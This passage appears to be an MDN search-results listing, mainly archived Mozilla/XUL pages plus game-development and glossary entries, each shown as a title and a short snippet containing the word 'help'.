ng text and paste it into a text file, then save that file as "chrome.manifest": skin global my_theme jar:chrome/my_theme.jar!/global/ skin mozapps my_theme jar:chrome/my_theme.jar!/mozapps/ skin messenger my_theme jar:chrome/my_theme.jar!/messenger/ skin messenger-newsblog my_theme jar:chrome/my_theme.jar!/messenger-newsblog/ skin communicator my_theme jar:chrome/my_theme.jar!/communicator/ skin help my_theme jar:chrome/my_theme.jar!/help/ skin navigator my_theme jar:chrome/my_theme.jar!/navigator/ skin editor my_theme jar:chrome/my_theme.jar!/editor/ ...
Creating a Skin for SeaMonkey 2.x - Archive of obsolete content
i hope this manual will help you.
FAQ - Archive of obsolete content
developers try to keep changes like this to a minimum, but sometimes it just can't be helped.
Using Dehydra - Archive of obsolete content
class __attribute__((user("final"))) myclass { }; // this subclass should be an error class subclass : public myclass { }; save the following analysis script final.js: /** * helper function: returns true if a class is marked with the "final" attribute.
Download Manager preferences - Archive of obsolete content
browser.helperapps.deletetempfileonexit a boolean value that indicates whether or not to delete the temporary file used by the download manager after the download is complete.
Drag and Drop JavaScript Wrapper - Archive of obsolete content
an example should help here.
Documentation for BiDi Mozilla - Archive of obsolete content
while it was published in 2001 and might not be totally accurate, it does help understanding the internals of the bidi code.
Downloading Nightly or Trunk Builds - Archive of obsolete content
it can be helpful to know exactly what these refer to.
Layout FAQ - Archive of obsolete content
that won't help with pending style changes, but it'll work to detect cases when the popup or something in it needs to be reflown.
Repackaging Firefox - Archive of obsolete content
they help mozilla track your distribution, and plan upgrades accordingly.
Style System Overview - Archive of obsolete content
nsiframe::getstyledata does the same thing for the frame's mstylecontext member, and the global ::getstyledata is a typesafe helper that doesn't require the style struct id.
Firefox - Archive of obsolete content
it can be helpful to know exactly what these refer to.
Isp Data - Archive of obsolete content
introduction these files allow for adding to the new account wizard a new option, and help with, among other things, deployment of custom thunderbird.
Makefile.mozextension.2 - Archive of obsolete content
7} ###### define install_rdf <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <id>$(project_id)</id> <name>$(project_name)</name> <version>$(project_version)</version> <description>$(project_desc)</description> <creator>$(project_author)</creator> <contributor>here is a place for you who helped me</contributor> <homepageurl>http://$(project).mozdev.org/</homepageurl> <optionsurl>chrome://$(project)/content/settings.xul</optionsurl> <abouturl>chrome://$(project)/content/about.xul</abouturl> <iconurl>chrome://$(project)/skin/mainicon.png</iconurl> <updateurl>http://$(project).mozdev.org/update.rdf</updateurl> <type>2</type> <targetapplication> <description> <id>{ec8030f7-c20a-4...
Microsummary topics - Archive of obsolete content
warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) programmatically installing a microsummary generator to programmatically install a microsummary generator -- for example, in an extension that helps users create custom generators for their favorite sites -- obtain a reference to the nsimicrosummaryservice interface implemented by the nsimicrosummaryservice component, then call its installgenerator() method, passing it an xml document containing the generator.
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
javascript also allows inline conditional statements, which can help with code readability: var foo = (condition) ?
Mozilla Application Framework in Detail - Archive of obsolete content
a special base class, <tt>nsisupports</tt>, that helps manage object lifetime and reference counting.
Overview of how downloads work - Archive of obsolete content
downloads via the helper app service this diagram is an uml sequence diagram, and was created using dia.
Porting NSPR to Unix Platforms - Archive of obsolete content
<tt>mozilla/nsprpub/pr/include/md/_netbsd.cfg</tt> we have a program <tt>mozilla/nsprpub/pr/include/gencfg.c</tt> to help you generate partof this file.
BundleLibrary - Archive of obsolete content
reddit: reddit.webapp remember the milk: rtm.webapp (note: should work with google gears with some help) rsizr image editor rsizr.webapp seeqpod: seeqpod.webapp playable music search engine.
RDF Datasource How-To - Archive of obsolete content
help bring it up to date, if you can.
Space Manager High Level Design - Archive of obsolete content
the block frame uses a helper method on the nsblockreflowstate class to do the actual computation of available space based on the data in the space manager.
Merging TraceMonkey Repo - Archive of obsolete content
inspecting the files at those two changesets can be helpful: hg cat -c changeset filename once all the conflict markers are removed, you've performed the manual resolution, which you tell to mercurial by running hg resolve -m filename.
Table Layout Regression Tests - Archive of obsolete content
please contact if you need help with running those tests.
Table Layout Strategy - Archive of obsolete content
you can help by editing this page and adding screenshots or links to example pages.
Abc Assembler Tests - Archive of obsolete content
when run, the assembler tests include the abcasm/abs_helper.as file which defines the following functions: start(summary:string):void - start a new test section described by summary end():void - test section finished compare_stricteq(name:string, expected:*, actual:*):void - compare the results of a testcase where name is the testcase name compare_typeerror(name:string, expected:*, actual:*):void - special function for comparing typeerrors (runtimeerrors) - will only compare the first 22 chars of expected...
Actionscript Performance Tests - Archive of obsolete content
see the --help usage for more details about performance tests.
Tamarin build documentation - Archive of obsolete content
$ cd tamarin-central $ echo 'print("hello, world")' > hello.as $ java -jar ./utils/asc.jar -import ./core/builtin.abc hello.as hello.abc, 86 bytes written use the avmplus standalone executable (avmshell) built previously to run the application: $ avmshell hello.abc hello, world use the -help options of asc.jar and avmshell for more details.
Uriloader - Archive of obsolete content
overview of a uri load up though dispatch to a content handler helper application tech talk mime type determination in mozilla overview of how downloads work ...
When To Use ifdefs - Archive of obsolete content
this code is all going to be moved elsewhere (most of it to toolkit/ or suite/), but for the time being most application-specific ifdefs are allowed because we can't help it.
Creating XPI Installer Modules - Archive of obsolete content
chrome/ us/ us.jar chatzilla/ chatzilla.jar chrome.rdf chromelist.txt classic/ classic.jar comm/ comm.jar content-packs/ content-packs.jar embed-sample/ embed-sample.jar en-us/ en-us.jar en-mac/ en-mac.jar en-unix/ en-unix.jar en-win/ en-win.jar help/ help.jar inspector/ inspector.jar installed-chrome.txt messenger/ messenger.jar ...
Install script template - Archive of obsolete content
ndaryinstall = 1; // error return codes need some memory var err; // error return codes when we try and install to the current browser var errblock1; // error return codes when we try and do a secondary installation var errblock2 = 0; // global variable containing our secondary install location var secondaryfolder; //special error values used by the cycore developers (www.cycore.com) who helped make this install script var exceptionoccurederror = -4711; var winregisnullerror = -4712; var invalidrootkeyerror = -4713; var registrykeynotwritableerror = -4714; //initinstall block //the installation is initialized here -- if we fail here, cancel the installation // initinstall is quite an overloaded method, but i have invoked it here with three strings // which ...
Using XPInstall to Install Plugins - Archive of obsolete content
this step will involve the use of the initinstall api call to start everything off, and also the getfolder api call, which helps to locate the current browser's plugin directory.
getLastError - Archive of obsolete content
example the following example calls getlasterror after a series of addfile calls: addfile("npplug", ...); addfile("/ms/shared/ctl3d.dll", ...); addfile("/nethelp/royalplug/royalhelp.html",...); err = getlasterror(); ...
Learn XPI Installer Scripting by Example - Archive of obsolete content
installation logging logging is an important feature of the xpinstall api that can help you streamline and debug your installations.
XPJS Components Proposal - Archive of obsolete content
the xpjsmanager is in charge of loading these .js files, helping them register themselves, and acting as an intermediary between the xpcom component manager and the js code.
XTech 2006 Presentations - Archive of obsolete content
to help migration an open source js2-to-js compiler is being developed, making js2 a reality in 2006.
buttons - Archive of obsolete content
help: a help button for displaying help about the dialog.
command - Archive of obsolete content
example <command id="cmd_openhelp" oncommand="alert('help');"/> <button label="help" command="cmd_openhelp"/> <button label="more help" command="cmd_openhelp"/> see also command element, oncommand and commandset ...
dlgtype - Archive of obsolete content
help a help button for displaying help about the dialog.
icon - Archive of obsolete content
ArchiveMozillaXULAttributeicon
possible values include: accept, cancel, help, open, save, find, clear, yes, no, apply, close, print, add, remove, refresh, go-forward, go-back, properties, select-font, select-color, network.
Building accessible custom components in XUL - Archive of obsolete content
<code> function install_handlers() { var spreadsheet = window.document.getelementbyid('accjaxspreadsheet'); spreadsheet.addeventlistener('keypress', spreadsheet_keypress, true); spreadsheet.addeventlistener('focus', spreadsheet_focus, true); spreadsheet.addeventlistener('click', spreadsheet_click, true); } </code> with this new event handler and associated helper functions, we can navigate between cells and headers using the arrow keys.
Deprecated and defunct markup - Archive of obsolete content
even some of the information on the tags below may be out of date, but is provided here for historical reference and to help anyone who comes across them in old code or documentation.
Accessing Files - Archive of obsolete content
there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
Working With Directories - Archive of obsolete content
there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
Getting File Information - Archive of obsolete content
there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
Reading from Files - Archive of obsolete content
there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
Uploading and Downloading Files - Archive of obsolete content
there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
Writing to Files - Archive of obsolete content
there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
IO - Archive of obsolete content
ArchiveMozillaXULFileGuideIO
there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
Moving, Copying and Deleting Files - Archive of obsolete content
there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
TOC - Archive of obsolete content
ArchiveMozillaXULFileGuideTOC
there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
Menus - Archive of obsolete content
menu_helppopup the menupopup associated with the 'help' menu.
Popup Guide - Archive of obsolete content
tooltips when the mouse is positioned over a ui control, a tooltip provides a small box with descriptive help about that control.
buttons - Archive of obsolete content
help: a help button for displaying help about the dialog.
Providing Command-Line Options - Archive of obsolete content
cmdline.preventdefault = true; } } catch (e) { components.utils.reporterror("incorrect parameter passed to -viewapp on the command line."); } // changeme: change "myapp" to your command line flag (no argument) if (cmdline.handleflag("myapp", false)) { openwindow(chrome_uri, null); cmdline.preventdefault = true; } }, // changeme: change the help info as appropriate, but // follow the guidelines in nsicommandlinehandler.idl // specifically, flag descriptions should start at // character 24, and lines should be wrapped at // 72 characters with embedded newlines, // and finally, the string should end with a newline helpinfo : " -myapp open my application\n" + " -viewapp <uri> view and edit the ...
RDF Modifications - Archive of obsolete content
it uses this information to help determine what results are no longer needed.
Template Logging - Archive of obsolete content
fortunately, some debugging and logging support is provided with templates that may help.
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
however, you might see messages that are unhelpful or confusing, or that come from other parts of the application.
Custom toolbar button - Archive of obsolete content
however, you might see messages that are unhelpful or confusing, or that come from other parts of the application.
Adding Event Handlers - Archive of obsolete content
for example, you may use urls of the following form: <script src="findfile.js"/> <script src="chrome://findfiles/content/help.js"/> <script src="http://www.example.com/js/items.js"/> this tutorial does not attempt to describe how to use javascript (except as related to event handling) as this is a fairly large topic and there are plenty of other resources that are available for this.
Adding HTML Elements - Archive of obsolete content
the examples below may help.
Box Objects - Archive of obsolete content
however, xul provides some helper objects, called box objects, which can provide some layout related information.
Creating Dialogs - Archive of obsolete content
the following values may be used, seperated by commas: accept - an ok button cancel - a cancel button help - a help button disclosure - a disclosure button, which is used for showing more information you can set code to execute when the buttons are pressed using the ondialogaccept, ondialogcancel, ondialoghelp and ondialogdisclosure attributes.
Keyboard Shortcuts - Archive of obsolete content
k_f5 vk_f6 vk_f7 vk_f8 vk_f9 vk_f10 vk_f11 vk_f12 vk_f13 vk_f14 vk_f15 vk_f16 vk_f17 vk_f18 vk_f19 vk_f20 vk_f21 vk_f22 vk_f23 vk_f24 vk_num_lock vk_scroll_lock vk_comma vk_period vk_slash vk_back_quote vk_open_bracket vk_back_slash vk_close_bracket vk_quote vk_help for example, to create a shortcut that is activated when the user presses alt and f5, do the following: <keyset> <key id="test-key" modifiers="alt" keycode="vk_f5"/> </keyset> the example below demonstrates some more keyboard shortcuts: <keyset> <key id="copy-key" modifiers="accel" key="c"/> <key id="find-key" keycode="vk_f3"/> <key id="switch-key" modifiers="con...
More Button Features - Archive of obsolete content
example 1 : source view <button label="help" image="happy.png"/> button with css image another way to specify the image is by using the css list-style-image style property on the button.
More Event Handlers - Archive of obsolete content
you might, however, want to display some help text on a status bar.
Skinning XUL Files by Hand - Archive of obsolete content
this article can help you get started understanding skins and creating skins for xul.
Splitters - Archive of obsolete content
splitter example an example would be helpful here: example 1 : source view <hbox flex="1"> <iframe id="content-1" width="60" height="20" src="w1.html"/> <splitter collapse="before" resizeafter="farthest"> <grippy/> </splitter> <iframe id="content-2" width="60" height="20" src="w2.html"/> <iframe id="content-3" width="60" height="20" src="w3.html"/> <iframe id="content-4" width="60" height="20" src="w4.html"/> </hbox> ...
XUL FAQ - Archive of obsolete content
the recommended way is to edit xul by hand, possibly with the help of a good text or xml editor.
XUL Reference - Archive of obsolete content
r window structure --- menus and popups --- toolbars toolbar toolbarbutton toolbargrippy toolbaritem toolbarpallete toolbarseperator toolbarspring tabs and grouping tab tabbox tabpanel tabpanels tabs controls --- text and images label caption image lists --- trees --- layout --- templates --- scripting --- helper elements other xul lists dialog overlay page window wizard wizardpage preference preferences prefpane prefwindow browser tabbrowser editor iframe titlebar resizer statusbar statusbarpanel dialogheader notification notificationbox menubar menu menuitem menuseparator menupopup panel tooltip popupset toolbar toolbarbutton toolbargrippy toolbaritem toolbarpal...
The Implementation of the Application Object Model - Archive of obsolete content
rdf stands for resource description framework, a rather intimidating name that doesn't do much to help the layman understand exactly what it does.
XML - Archive of obsolete content
any familiarity you already have with xml will help you quickly get up to speed developing with xul.
XUL Coding Style Guidelines - Archive of obsolete content
they are placed above the actual entity string in the format: <!-- localization note (entity.name): content --> where the <var>entity.name</var> is the entity name (id) for the string (entity value) to be localized, and the content provides helpful hints to the localizers.
command - Archive of obsolete content
see also: command attribute, commandset element attributes disabled, label, oncommand,reserved examples the following code will send a paste command (cmd_paste) to the currently focused element: // first include chrome://global/content/globaloverlay.js godocommand("cmd_paste"); example with two buttons <commandset><command id="cmd_openhelp" oncommand="alert('help');"/></commandset> <button label="help" command="cmd_openhelp"/> <button label="more help" command="cmd_openhelp"/> attributes disabled type: boolean indicates whether the element is disabled or not.
commandset - Archive of obsolete content
attributes commandupdater, events, oncommandupdate, targets example <commandset> <command id="cmd_open" oncommand="alert('open!');"/> <command id="cmd_help" oncommand="alert('help!');"/> </commandset> attributes commandupdater type: boolean if true, the commandset is used for updating commands.
toolbarbutton - Archive of obsolete content
help a help button for displaying help about the dialog.
Building XULRunner - Archive of obsolete content
you can also check the user agent string in firefox help/about menu to get the mapping from a certain binary firefox version to the corresponding xulrunner version.
CommandLine - Archive of obsolete content
this; throw components.results.ns_error_no_interface; }, /* nsicommandlinehandler */ handle : function clh_handle(acmdline) { var observerservice = components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); observerservice.notifyobservers(acmdline, "commandline-args-changed", null); }, helpinfo : " -test <value> a test attribute\n", /* nsifactory */ createinstance : function mdh_ci(aouter, aiid) { if (aouter != null) { throw components.results.ns_error_no_aggregation; } return this.queryinterface(aiid); }, lockfactory : function mdh_lock(alock) { /* no-op */ } }; var apphandlermodule = { /* nsisupports */ queryinterface : function ...
Creating a Windows Inno Setup installer for XULRunner applications - Archive of obsolete content
a xulrunner application has no installer by default; however, these instructions can help you to easily create a windows installer with inno setup.
Getting started with XULRunner - Archive of obsolete content
also, throughout this tutorial you've been introduced to various bits of the toolkit api and it may help you to get familiar with it.
MacFAQ - Archive of obsolete content
ow.xul (note: the debug function and nsicommandline try/catch can be removed, all you need is the window.arguments[0]) <?xml version="1.0"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="myxul_hidden" windowtype="myxul:hiddenwindow" title="" width="0" height="0" persist="screenx screeny width height sizemode" > <!-- load the mozilla helpers --> <script type="application/javascript" src="chrome://global/content/nsusersettings.js" /> <script><![cdata[ function debug(alogstring) { var mconsoleservice = components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice) mconsoleservice.logstringmessage("myxul: " + alogstring + "\n"); } f...
XULRunner tips - Archive of obsolete content
registration because the extension manager uses fuel, namely application.restart(), to restart your xulrunner-based application after any change (installation, removal, enabling, disabling) in the extensions' list: copy files fuelapplication.js and fuelapplication.manifest from browser/fuel/src for instance into your components/ directory tweak the line #include ../../../toolkit/components/exthelper/extapplication.js in your copy of fuelapplication.js as needed make sure to declare the fuel module and the two files in your components/makefile.in as in browser/fuel/src/makefile.in rebuild...
What XULRunner Provides - Archive of obsolete content
extension manager file picker (uses native os filepicker as appropriate) find toolbar helper app dialog/ui security ui (maintenance of ssl keychains, etc) embedding apis the following embedding apis are provided by xulrunner: cross-platform embedding (xre_initembedding) javaxpcom embedding gtkmozembed (linux only) activex control (windows only) (not yet complete) obsolete since gecko 7.0 nsview-based-widget (mac os x only) (not yet complete) the "maybe" list the followin...
XUL Application Packaging - Archive of obsolete content
xulrunner application packages are standard toolkit bundles (like a firefox extension), with one additional manifest file (application.ini) which helps describe the application.
ant script to assemble an extension - Archive of obsolete content
this ant script helps to package an extension <?xml version="1.0"?> this build file was written by régis décamps <decamps@users.sf.net> <project name="blogmark" default="createxpi"> <property name="version" value="1.3-rc1"/> <property name="description" value="new context-menu item to add the current page in your blogmarks"/> xpi file is created after "chrome/blogmark.jar" is created, which is then stuffed into "blogmark.xpi" <target name="createxpi" depends="createjar" description="assemble the final build blogmark.xpi"> <zip destfile="blogmark-${version}.xpi"> <zipfileset dir="." includes="chrome/blogmark.jar" /> <zipfi...
Mozprofile - Archive of obsolete content
if a profile is not specified, one will be created in a temporary directory which will be echoed to the terminal: (mozmill)> mozprofile /tmp/tmp4q1ieu.mozrunner (mozmill)> ls /tmp/tmp4q1ieu.mozrunner user.js to run mozprofile from the command line enter: mozprofile --help for a list of options.
Mozrunner - Archive of obsolete content
run mozrunner --help for detailed information on the command line program.
Mozilla.dev.apps.firefox-2006-09-29 - Archive of obsolete content
the distributor university students working on cache distribution project - looking for help for how to tap the http requests.
2006-09-29 - Archive of obsolete content
the distributor university students working on cache distribution project - looking for help for how to tap the http requests.
2006-10-20 - Archive of obsolete content
helpful information was found here on mozillazine.
2006-11-17 - Archive of obsolete content
firefox 2.0 javascript popup issue user seeks advice about a line of javascript code that worked in firefox 1.5.0.x, but not in firefox 2.0 balloon help user inquires if anyone can explain how to disable the balloon help in firefox 2.0.
2006-09-29 - Archive of obsolete content
he is also asking if there are developers out there who know the tb core and are willing to help him out.
2006-10-13 - Archive of obsolete content
he has disabled xft and has tried looking at related postings by benjamin smedberg gcc-40-workarounds and gcc-and-visibility-one-step-forward-hit-a-brick-wall announcements please help us test the new tinderbox and bonsai server installations paul reed announced that they are setting up a new installation of the tinderbox and bonsai servers onto new, supported hardware.
2006-10-20 - Archive of obsolete content
he stated that he was able to pre-package the extensions that he wanted by following this walkthrough and a little bit of help from this post.
2006-11-10 - Archive of obsolete content
ld returned 1 exit status gmake[3]: *** [testtarray] error 1 gmake[3]: leaving directory `/usr/mozilla2/src/mozilla/xpcom/tests' gmake[2]: *** [libs] error 2 gmake[2]: leaving directory `/usr/mozilla2/src/mozilla/xpcom' gmake[1]: *** [tier_2] error 2 gmake[1]: leaving directory `/usr/mozilla2/src/mozilla' make: *** [default] error 2 he is not sure what is wrong with his build, and is asking for help on how to resolve the build error.
2006-11-17 - Archive of obsolete content
in the latter case, you may want to edit the gtk-config script: /usr/bin/gtk-config configure: error: test for gtk failed bryan is asking for help as he is confused and has no idea what is causing the build process to fail.
2006-11-10 - Archive of obsolete content
discussions help about firefox 3 a discussion on how to syncronise mozilla_1_8_branch with the trunk, which tag should be used to check-in files on trunk, and when files will be pulled from trunk to create another branch (mozilla_1_9_branch?) for firefox 3.
2006-10-06 - Archive of obsolete content
also invites people to help extension developers test for compatibility (link to a bunch of extension compatability bugs) discussions reining in the release process a discussion of what can be done to speed up the release process.
2006-11-03 - Archive of obsolete content
alex vinten and neil help him out by figuring out exactly which environment he's running in.
2006-11-10 - Archive of obsolete content
harry is looking for help with create thread in javascript using nsithread.
2006-10-06 - Archive of obsolete content
to help out with testing meet in irc chat room #qa.
2006-10-13 - Archive of obsolete content
- he just permission to confirm bugs, but he still needs help with how to do things - such as how to assign bugs.
2006-10-20 - Archive of obsolete content
help required designing new home for quality.mozilla.org - talented web designers and/or artists interested in helping the design for quality.mozilla.org please read this posting.
2006-11-03 - Archive of obsolete content
discussions none meetings community test day - on friday, november 3, 2006 another community test day focusing on security and stability release, and you can help by verifying bugs, and by running the litmus test cases under the ffts or the bfts.
2006-11-24 - Archive of obsolete content
he needs someone to verify or debunk the problem, or point him to a similar problem that would be helpful.
2006-12-01 - Archive of obsolete content
problem with downloading signed script components in a firefox extension andrew groom is having problems getting an extension to download a signed script and would appreciates some help with his problem.
2006-09-29 - Archive of obsolete content
that won't help with pending style changes, but it'll work to detect cases when the popup or something in it needs to be reflown.
2006-10-27 - Archive of obsolete content
help for getting html element width info discussion on retrieving width information on html elements when using the gecko engine.
2006-11-10 - Archive of obsolete content
discussions hunting down the "sunbird fails to start" bug -- please help discussion about a crash when starting sunbird 0.2.
NPAPI plugin developer guide - Archive of obsolete content
plug-in basics how plug-ins are used plug-ins and helper applications how plug-ins work understanding the runtime model plug-in detection how gecko finds plug-ins checking plug-ins by mime type overview of plug-in structure understanding the plug-in api plug-ins and platform independence windowed and windowless plug-ins the default plug-in using html to display plug-ins plug-in display modes using the ...
NPN_GetValue - Archive of obsolete content
microsoft windows you can use this method to help create a menu or dialog box for a windowless plug-in.
Samples and Test Cases - Archive of obsolete content
in addition to those samples, there are 2 more plugins in the tree that might be helpful.
Writing a plugin for Mac OS X - Archive of obsolete content
notes and tips this section provides some additional information that may be helpful if you're trying to get a plugin building on your own.
XEmbed Extension for Mozilla Plugins - Archive of obsolete content
hosting using gtk2.x included below are a couple of code snippits that should help you get started as well as some hints on building a successful plugin.
Why RSS Content Module is Popular - Including HTML Contents - Archive of obsolete content
using the example above we'd have: <description><![cdata[this is <b>bold</b>.]]></description> this helps reduce the bloat.
Syndicating content with RSS - Archive of obsolete content
rss is a tool which helps to syndicate your content by organizing it into a form that's easy for machines to parse and reuse.
Atomic RSS - Archive of obsolete content
ArchiveRSSModuleAtom
otherwise, just comment it out getting started a guided tutorial that will help you get started with atomic rss.
Content - Archive of obsolete content
otherwise, just comment it out getting started a guided tutorial that will help you get started with the rss content module.
Slash - Archive of obsolete content
ArchiveRSSModuleSlash
getting started a guided tutorial that will help you get started with the rss slash module.
Well-Formed Web - Archive of obsolete content
getting started a guided tutorial that will help you get started with the well-formed web rss module.
Proposal - Archive of obsolete content
in development rsshints a module that adds elements to a feed that help an aggregator process them.
0.90 - Archive of obsolete content
ArchiveRSSVersion0.90
specification the original rss 0.90 specification has disappeared from its original location: http://my.netscape.com/publish/help/quickstart.html copies of it have been saved, and can be viewed at the following locations: http://www.purplepages.ie/rss/netscape/rss0.90.html http://web.archive.org/web/*/http://...uickstart.html ...
RSS - Archive of obsolete content
getting started a guided tutorial that will help you get started with rss.
.htaccess ( hypertext access ) - Archive of obsolete content
cache control : .htaccess allows a server to control caching by web browsers, helps load pages faster, and reduces the data transfer.
Confidentiality, Integrity, and Availability - Archive of obsolete content
you should be able to access them, of course, and employees at the bank who are helping you with a transaction should be able to access them, but no one else should.
Security Controls - Archive of obsolete content
security controls to help thwart phishing, besides the management control of the acceptable use policy itself, include operational controls, such as training users not to fall for phishing scams, and technical controls that monitor emails and web site usage for signs of phishing activity.
Introduction to SSL - Archive of obsolete content
although the fourth question is not technically part of the ssl protocol, it is the client's responsibility to support this requirement, which provides some assurance of the server's identity and thus helps protect against a form of security attack known as "man in the middle." an ssl-enabled client goes through these steps to authenticate a server's identity: is today's date within the validity period?
Building a Theme - Archive of obsolete content
if you get a message that the install.rdf is malformed, it is helpful to load it into firefox using the file->open file command and it will report xml errors to you.
Common Firefox theme issues and solutions - Archive of obsolete content
this guide will help you thoroughly test your theme to find and fix issues before you push updates to amo.
Date.prototype.toLocaleFormat() - Archive of obsolete content
see warning: date.prototype.tolocaleformat is deprecated for more information and migration help.
for each...in - Archive of obsolete content
please see warning: javascript 1.6's for-each-in loops are deprecated for migration help.
MSX Emulator (jsMSX) - Archive of obsolete content
how to help lots of work to optimize the performance and add msx 2.0, 2.0+ and turbor features are still necessary.
Properly Using CSS and JavaScript in XHTML Documents - Archive of obsolete content
follow the xhtml 1.0 html compatibility guidelines the xhtml 1.0 html compatibility guidelines help make xhtml documents backwardly compatible with older user agents which do not understand xml.
Standards-Compliant Authoring Tools - Archive of obsolete content
html-kit is a full-featured, low priced editor designed to help html, xhtml and xml authors to edit, format, lookup help, validate, preview and publish web pages.
Reference - Archive of obsolete content
--maian 20:24, 25 aug 2005 (pdt) help:custom_templates#template:deprecated_header --nickolay 00:58, 26 aug 2005 (pdt) hmm, that was a bad question.
RFE to the Custom Controls - Archive of obsolete content
introduction if you have a custom control that you believe will help fulfill the needs of form authors or other custom controls authors, please file it here.
Using XForms and PHP - Archive of obsolete content
there is some help in getting to the raw xml on the php documentation site.
Mozilla's DOCTYPE sniffing - Archive of obsolete content
quirks mode the following trigger quirks mode (this list needs to be comprehensive to ensure that pages already existing on the web trigger quirks mode): the following sites have been useful in preparing this list: w3c html validator, htmlhelp html validator.
Using the Right Markup to Invoke Plugins - Archive of obsolete content
under edit | preferences | navigator | helper applications is a preference to use netscape's plugin finder service.
Windows Media in Netscape - Archive of obsolete content
therefore detecting whether the component was successfully instantiated can help provide users with the right component if a failed instantiation is detected.
Anatomy of a video game - Game development
it helps beginners to the modern game development arena understand what is required when building a game and how web standards like javascript lend themselves as tools.
Game distribution - Game development
saying this, desktop platforms can be used for distribution quite easily with the availability of wrappers that can help you prepare native builds of your game see packaging games.
Publishing games - Game development
promoting the game helps a lot in monetizing it later on too, so it's important to do it effectively.
Building up a basic demo with A-Frame - Game development
rotation there's a special <a-animation> entity that can help us animate elements.
Building up a basic demo with PlayCanvas editor - Game development
a unique name will help us remember what this material is for — we will add more later!
Building up a basic demo with the PlayCanvas engine - Game development
there is one helper variable already included, which will store a reference to the <canvas> element.
GLSL Shaders - Game development
the 3d coordinate system defines space and the vertices help define shapes in that space.
WebVR — Virtual Reality for the Web - Game development
see the vreffect and vrcontrols functions available on the three.js github to help you implement and handle webvr with three.js.
Mobile touch controls - Game development
the good thing about using phaser is that it offers helper variables and functions for easier and faster development, but it's entirely up to you which approach you to choose.
WebRTC data channels - Game development
this article, however, will take advantage of some libraries that can help trivialize the work, and will demonstrate ways to use abstraction to work around implementation differences between browsers.
asm.js - Game development
we will show what asm.js code looks like and explain how it helps and how you can use it.
Tools for game development - Game development
gecko profiler the gecko profiler extension lets you profile your code to help figure out where your performance issues are so that you can make your game run at top speed.
Collision detection - Game development
it's our decision how to implement this, of course, but it can be tough to calculate whether the ball is touching the rectangle or not because there are no helper functions in canvas for this.
Finishing up - Game development
requestanimationframe helps the browser render the game better than the fixed framerate we currently have implemented using setinterval().
2D breakout game using pure JavaScript - Game development
frameworks speed up development time and help take care of boring parts of the game, but if something is not working as expected, you can always try to debug that or just write your own solutions in pure javascript.
Physics - Game development
this kind of functionality is just the tip of the iceberg — there are various functions and variables that can help you manipulate the physics objects.
Visual-js game engine - Game development
online demo examples at : https://jsfiddle.net/user/zlatnaspirala/fiddles/ demo slot mashine basic demo at : https://jsfiddle.net/zlatnaspirala/7d0d8v6d/ help about new 2d part - implementation of matter.js based typescript .
Gecko FAQ - Gecko Redirect 1
how does gecko help content developers?
Bézier curve - MDN Web Docs Glossary: Definitions of Web-related terms
a third imaginary line is drawn with its starting point moving steadily on the first helper line and the end point on the second helper line.
Computer Programming - MDN Web Docs Glossary: Definitions of Web-related terms
for example, a program that helps scientists with complex calculations, a database that stores huge amounts of data, a web site that allows people to download music, or animation software that allows people to create animated movies.
Favicon - MDN Web Docs Glossary: Definitions of Web-related terms
when a familiar icon is seen in the browser's address bar, for example, it helps users know they are in the right place.
First-class Function - MDN Web Docs Glossary: Definitions of Web-related terms
naming it will be helpful when debugging your code.
First input delay - MDN Web Docs Glossary: Definitions of Web-related terms
reducing site initialization time and eliminating long tasks can help eliminate first input delays.
Lazy load - MDN Web Docs Glossary: Definitions of Web-related terms
if correctly implemented, this delay in asset loading is seamless to the user experience and might help improve initial load performance, including time to interactive, as fewer assets are required for the page to start working.
Microsoft Internet Explorer - MDN Web Docs Glossary: Definitions of Web-related terms
e general knowledge internet explorer on wikipedia history of internet explorer on wikipedia internet explorer versions on wikipedia learning about internet explorer http://windows.microsoft.com/en-us/internet-explorer/download-ie http://windows.microsoft.com/en-us/windows7/getting-started-with-internet-explorer-9 http://windows.microsoft.com/en-us/internet-explorer/internet-explorer-help http://windows.microsoft.com/en-us/internet-explorer/make-ie-default-browser#ie=ie-11 technical reference http://windows.microsoft.com/en-us/internet-explorer/products/ie-8/system-requirements http://windows.microsoft.com/en-us/internet-explorer/products/ie-9/system-requirements http://support.microsoft.com/kb/969393 ...
Netscape Navigator - MDN Web Docs Glossary: Definitions of Web-related terms
netscape helped make the web graphical rather than a text-only experience.
Normative - MDN Web Docs Glossary: Definitions of Web-related terms
specifications might also contain sections that are marked as non-normative or informative, which means those are provided there for the purpose of helping the reader understand the specifications better or to showcase an example or best practice, which need not be followed as a rule.
Real User Monitoring (RUM) - MDN Web Docs Glossary: Definitions of Web-related terms
rum helps identify how an application is being used, including the geographic distribution of users and the impact of that distribution on the end user experience.
Same-origin policy - MDN Web Docs Glossary: Definitions of Web-related terms
it helps isolate potentially malicious documents, reducing possible attack vectors.
Semantics - MDN Web Docs Glossary: Definitions of Web-related terms
some of the benefits from writing semantic markup are as follows: search engines will consider its contents as important keywords to influence the page's search rankings (see seo) screen readers can use it as a signpost to help visually impaired users navigate a page finding blocks of meaningful code is significantly easier than searching though endless divs with or without semantic or namespaced classes suggests to the developer the type of data that will be populated semantic naming mirrors proper custom element/component naming when approaching which markup to use, ask yourself, "what element(s) best describe/re...
TCP slow start - MDN Web Docs Glossary: Definitions of Web-related terms
tcp slow start helps buildup transmission speeds to the network's capabilities.
